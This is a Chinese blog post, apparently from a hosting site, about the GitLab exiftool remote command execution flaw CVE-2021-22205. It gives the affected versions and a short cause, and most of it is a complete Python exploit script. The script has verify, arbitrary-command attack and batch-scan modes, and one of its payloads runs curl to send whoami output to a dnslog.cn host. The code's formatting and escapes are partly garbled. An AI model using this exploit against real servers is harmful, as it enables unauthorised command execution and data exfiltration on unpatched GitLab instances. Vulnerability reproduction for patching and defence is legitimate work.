高防服务器

CVE-2021-22205 Gitlab exiftool 远程命令执行漏洞

一、背景

公司某服务器受到攻击,排查后发现攻破点为CVE-2021-22205 Gitlab 远程命令执行漏洞


影响版本

  • Gitlab CE/EE < 13.10.3
  • Gitlab CE/EE < 13.9.6
  • Gitlab CE/EE < 13.8.8

二、原理

主要是gitlab调用了exiftool(一个图像处理软件),而exitftool存在命令执行漏洞(CVE-2021-22205),从而导致gitlab也存在此问题,现复现一下该漏洞。 

三、攻击脚本

执行以下脚本后在服务器复现了该漏洞

import requests from bs4 import BeautifulSoup import base64 import random import sys import os import argparse  requests.packages.urllib3.disable_warnings()  def title():     print("""       ______     _______     ____   ___ ____  _      ____  ____  ____   ___  ____        / ___    / / ____|   |___  / _ ___ / |    |___ |___ |___  / _ | ___|      | |      / /|  _| _____ __) | | | |__) | |_____ __) | __) | __) | | | |___       | |___   V / | |__|_____/ __/| |_| / __/| |_____/ __/ / __/ / __/| |_| |___) |     ____ |  _/  |_____|   |_____|___/_____|_|    |_____|_____|_____|___/|____/                                      Author:Al1ex@Heptagram                                 Github:https://github.com/Al1ex                                      """)     print('''         验证模式:python CVE-2021-22205.py -v true -t target_url          攻击模式:python CVE-2021-22205.py -a true -t target_url -c command          批量检测:python CVE-2021-22205.py -s true -f file          ''')      def check(target_url):     session = requests.Session()     try:         req1 = session.get(target_url.strip("/") + "/users/sign_in", verify=False)         soup = BeautifulSoup(req1.text, features="html.parser")         token = soup.findAll('meta')[16].get("content")         data = "rn------WebKitFormBoundaryIMv3mxRg59TkFSX5rnContent-Disposition: form-data; name="file"; filename="test.jpg"rnContent-Type: image/jpegrnrnAT&TFORMx00x00x03xafDJVMDIRMx00x00x00.x81x00x02x00x00x00Fx00x00x00xacxffxffxdexbfx99 !xc8x91Nxebx0cx07x1fxd2xdax88xe8kxe6Dx0f,qx02xeeIxd3nx95xbdxa2xc3"?FORMx00x00x00^DJVUINFOx00x00x00nx00x08x00x08x18x00dx00x16x00INCLx00x00x00x0fshared_anno.iffx00BG44x00x00x00x11x00Jx01x02x00x08x00x08x8axe6xe1xb17xd9*x89x00BG44x00x00x00x04x01x0fxf9x9fBG44x00x00x00x02x02nFORMx00x00x03x07DJVIANTax00x00x01P(metadatant(Copyright "\n" . qx{curl `whoami`.82sm53.dnslog.cn} . \n" b ") )                                                                                                                                                                                                                                                                                                                                                                                                                                     nrn------WebKitFormBoundaryIMv3mxRg59TkFSX5--rnrn"         headers = {             "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",             "Connection": "close",             "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5",             "X-CSRF-Token": f"{token}", "Accept-Encoding": "gzip, deflate"}         flag = 'Failed to process image'         req2 = session.post(target_url.strip("/") + "/uploads/user", data=data, headers=headers, verify=False)         if flag in req2.text:             print("[+] 目标 {} 存在漏洞".format(target_url))         else:             print("[-] 目标 {} 不存在漏洞".format(target_url))     except Exception as e:         print(e)  def attack(target_url,command):     session = requests.Session()     try:         req1 = session.get(target_url.strip("/") + "/users/sign_in", verify=False)         soup = BeautifulSoup(req1.text, features="html.parser")         token = soup.findAll('meta')[16].get("content")         data = "rn------WebKitFormBoundaryIMv3mxRg59TkFSX5rnContent-Disposition: form-data; name="file"; filename="test.jpg"rnContent-Type: image/jpegrnrnAT&TFORMx00x00x03xafDJVMDIRMx00x00x00.x81x00x02x00x00x00Fx00x00x00xacxffxffxdexbfx99 !xc8x91Nxebx0cx07x1fxd2xdax88xe8kxe6Dx0f,qx02xeeIxd3nx95xbdxa2xc3"?FORMx00x00x00^DJVUINFOx00x00x00nx00x08x00x08x18x00dx00x16x00INCLx00x00x00x0fshared_anno.iffx00BG44x00x00x00x11x00Jx01x02x00x08x00x08x8axe6xe1xb17xd9*x89x00BG44x00x00x00x04x01x0fxf9x9fBG44x00x00x00x02x02nFORMx00x00x03x07DJVIANTax00x00x01P(metadatant(Copyright "\n" . qx{"+  command +"} . \n" b ") )                                                                                                                                                                                                                                                                                                                                                                                                                                     nrn------WebKitFormBoundaryIMv3mxRg59TkFSX5--rnrn"         headers = {             "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",             "Connection": "close",             "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5",             "X-CSRF-Token": f"{token}", "Accept-Encoding": "gzip, deflate"}         flag = 'Failed to process image'         req2 = session.post(target_url.strip("/") + "/uploads/user", data=data, headers=headers, verify=False)         if flag in req2.text:             print("[+] 目标 {} 存在漏洞".format(target_url))             print("[+] 请到dnslog或主机检查执行结果")         else:             print("[-] 目标 {} 不存在漏洞".format(target_url))     except Exception as e:         print(e)  def scan(file):     for url_link in open(file, 'r', encoding='utf-8'):             if url_link.strip() != '':                 url_path = format_url(url_link.strip())                 check(url_path)  def format_url(url):     try:         if url[:4] != "http":             url = "https://" + url             url = url.strip()         return url     except Exception as e:         print('URL 错误 {0}'.format(url))      def main():     parser = argparse.ArgumentParser(description='GitLab < 13.10.3 RCE')     parser.add_argument('-v', '--verify', type=bool,help=' 验证模式 ')     parser.add_argument('-t', '--target', type=str, help=' 目标URL ')      parser.add_argument('-a', '--attack', type=bool, help=' 攻击模式 ')     parser.add_argument('-c', '--command', type=str, help=' 执行命令 ')      parser.add_argument('-s', '--scan', type=bool, help=' 批量模式 ')     parser.add_argument('-f', '--file', type=str, help=' 文件路径 ')       args = parser.parse_args()      verify_model = args.verify     target_url   = args.target      attack_model = args.attack     command = args.command      scan_model = args.scan     file = args.file      if verify_model is True and target_url !=None:         check(target_url)     elif attack_model is True and target_url != None and command != None:         attack(target_url,command)     elif scan_model is True and file != None:         scan(file)     else:         sys.exit(0)     if __name__ == '__main__':     title()     main() 

参考资料
原理:https://devcraft.io/2021/05/0…
POC:https://github.com/Al1ex/CVE-…

[温馨提示:高防服务器能助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。]

[图文来源于网络,不代表本站立场,如有侵权,请联系高防服务器网删除]